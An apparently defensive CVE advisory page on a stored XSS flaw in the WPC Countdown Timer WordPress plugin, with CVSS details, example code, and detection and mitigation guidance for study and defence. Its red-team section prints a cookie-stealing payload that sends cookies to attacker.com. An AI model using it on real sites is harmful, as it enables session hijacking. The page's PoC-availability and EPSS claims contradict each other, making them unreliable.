☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpclever logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-49908

CVE-2025-49908 Cross-Site Scripting in Wpclever
📅 PUBLISHED: 2025-10-22 14:32 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49908 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WPC Countdown Timer for WooCommerce WordPress plugin, developed by WPClever. The vulnerability exists in versions n/a through 3.1.4 and allows an authenticated attacker with contributor-level privileges or higher to inject malicious JavaScript into the plugin’s input fields. When an administrator or other user views the affected page (e.g., the product edit screen or a page displaying the countdown timer), the injected script executes in their browser session. This can lead to session hijacking, defacement, or theft of sensitive data.

The vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation. The CVSS v3.1 base score is 6.5 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The attack vector is network-based, requires low complexity, low privileges, and user interaction (the victim must view the compromised page). The scope is changed, meaning the impact extends beyond the vulnerable component.

No public exploit code or proof-of-concept (PoC) is currently available, and the patch status is UNKNOWN / UNPATCHED. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time. However, given the widespread use of WooCommerce and the plugin’s popularity, this vulnerability poses a significant risk to unpatched installations.

Note: This vulnerability is specific to the WordPress ecosystem and the WPC Countdown Timer plugin. It is not related to Apache, Nginx, or any other web server software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): Low (L) – An attacker needs contributor-level access to the WordPress site.
  • User Interaction (UI): Required (R) – The victim must visit a page containing the malicious input.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component (e.g., the attacker can affect other parts of the application).
  • Confidentiality (C): Low (L) – Limited information disclosure is possible.
  • Integrity (I): Low (L) – Limited modification of data is possible.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WooCommerce plugin makes this a serious concern for site administrators. The lack of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability resides in the WPC Countdown Timer for WooCommerce plugin, which allows store owners to add countdown timers to product pages. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the browser.

Root Cause: The plugin uses WordPress’s wp_kses() or similar functions incorrectly, or omits output escaping entirely when displaying timer settings (e.g., timer labels, custom messages, or CSS classes). An attacker with contributor-level access can inject JavaScript code into these fields. When an administrator or other user views the product edit page or a front-end page displaying the timer, the injected script executes.

Attack Flow:

  1. Authentication: The attacker logs in as a contributor (or higher) to the WordPress site.
  2. Injection: The attacker edits a product and navigates to the WPC Countdown Timer settings. They inject a malicious payload into a vulnerable field, such as the timer label or a custom message.
  3. Storage: The plugin stores the unsanitized input in the WordPress database (wp_postmeta table).
  4. Trigger: An administrator or other user views the product edit page or a page that renders the countdown timer. The plugin outputs the stored value without proper escaping, causing the browser to execute the injected script.
  5. Impact: The attacker can steal session cookies, redirect users to malicious sites, deface the page, or perform actions on behalf of the victim.

Affected Component: The plugin’s admin-facing settings and front-end display functions. The vulnerability is likely in the wpc-countdown-timer.php file or related template files.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Example):

// In wpc-countdown-timer.php or similar
function display_timer_label($post_id) {
    $label = get_post_meta($post_id, 'wpc_countdown_timer_label', true);
    echo '<div class="wpc-timer-label">' . $label . '</div>'; // No escaping
}

Patched Code (Example):

function display_timer_label($post_id) {
    $label = get_post_meta($post_id, 'wpc_countdown_timer_label', true);
    echo '<div class="wpc-timer-label">' . esc_html($label) . '</div>'; // Escaped
}

The patched version uses esc_html() to neutralize any HTML or JavaScript before output. The vulnerable version directly echoes the stored value without escaping.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with the WPC Countdown Timer plugin (version <= 3.1.4) installed and activated.
  • A contributor-level account (or higher) on the WordPress site.

Steps:

  1. Log in to the WordPress admin panel as a contributor.
  2. Navigate to Products > Add New or edit an existing product.
  3. Scroll to the WPC Countdown Timer meta box.
  4. In a vulnerable field (e.g., "Timer Label" or "Custom Message"), enter the following payload:
    <script>alert('XSS')</script>
    
  5. Save the product.
  6. As an administrator, view the product edit page or the front-end product page. The JavaScript alert will execute.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Note: No public exploit code (e.g., from Exploit-DB) is available for this CVE.

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress admin logs for unusual changes to product meta fields, especially by contributor-level users.
  • Use a Web Application Firewall (WAF) to block common XSS payloads in POST requests to /wp-admin/post.php or /wp-admin/admin-ajax.php.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Immediate: Disable the WPC Countdown Timer plugin until a patch is released.
  • Workaround: Restrict contributor-level users from editing products or using the plugin’s settings. Use a plugin like "User Role Editor" to remove the edit_products capability from contributors.
  • Long-term: Apply input validation and output escaping to all custom fields. Use WordPress’s esc_html(), esc_attr(), or wp_kses_post() as appropriate.

Indicators of Compromise (IOCs)

  • Suspicious POST requests to /wp-admin/post.php containing JavaScript payloads in fields like wpc_countdown_timer_label or wpc_countdown_timer_message.
  • Database entries in wp_postmeta with meta_key containing wpc_countdown_timer and meta_value containing <script> tags or event handlers (e.g., onmouseover).
  • Unusual outbound HTTP requests from the WordPress server to attacker-controlled domains (e.g., for cookie exfiltration).
  • Browser console errors or unexpected JavaScript execution on product pages.

Detection Engineering

YARA Rule

rule CVE_2025_49908_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WPC Countdown Timer plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49908"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $meta_key = "wpc_countdown_timer"
    condition:
        $meta_key and ($payload1 or $payload2)
}

Sigma Rule

title: CVE-2025-49908 - Stored XSS in WPC Countdown Timer
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects stored XSS attempts via WPC Countdown Timer plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 'wpc_countdown_timer'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in product descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-49908 - Stored XSS in WPC Countdown Timer";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/post.php"; http_uri;
    content:"wpc_countdown_timer"; http_client_body;
    pcre:"/(<script[^>]*>|on\w+\s*=)/i";
    sid:10000001;
    rev:1;
    reference:cve,2025-49908;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released by WPClever.
  2. Restrict user roles – Remove the edit_products capability from contributor-level users.
  3. Apply a virtual patch using a WAF to block XSS payloads in POST requests to /wp-admin/post.php.

Long-term Fix:

  • Monitor the WPClever website or WordPress plugin repository for an update. Apply the patch as soon as it becomes available.
  • Implement a Content Security Policy (CSP) that restricts script execution to trusted sources.
  • Regularly audit WordPress plugins for known vulnerabilities using tools like WPScan.

Workaround Code (if you must keep the plugin active): Add the following to your theme’s functions.php to sanitize the vulnerable field:

add_filter('wpc_countdown_timer_label', 'sanitize_text_field');

Note: This workaround may not cover all vulnerable fields. Disabling the plugin is the safest option.


Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49908/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.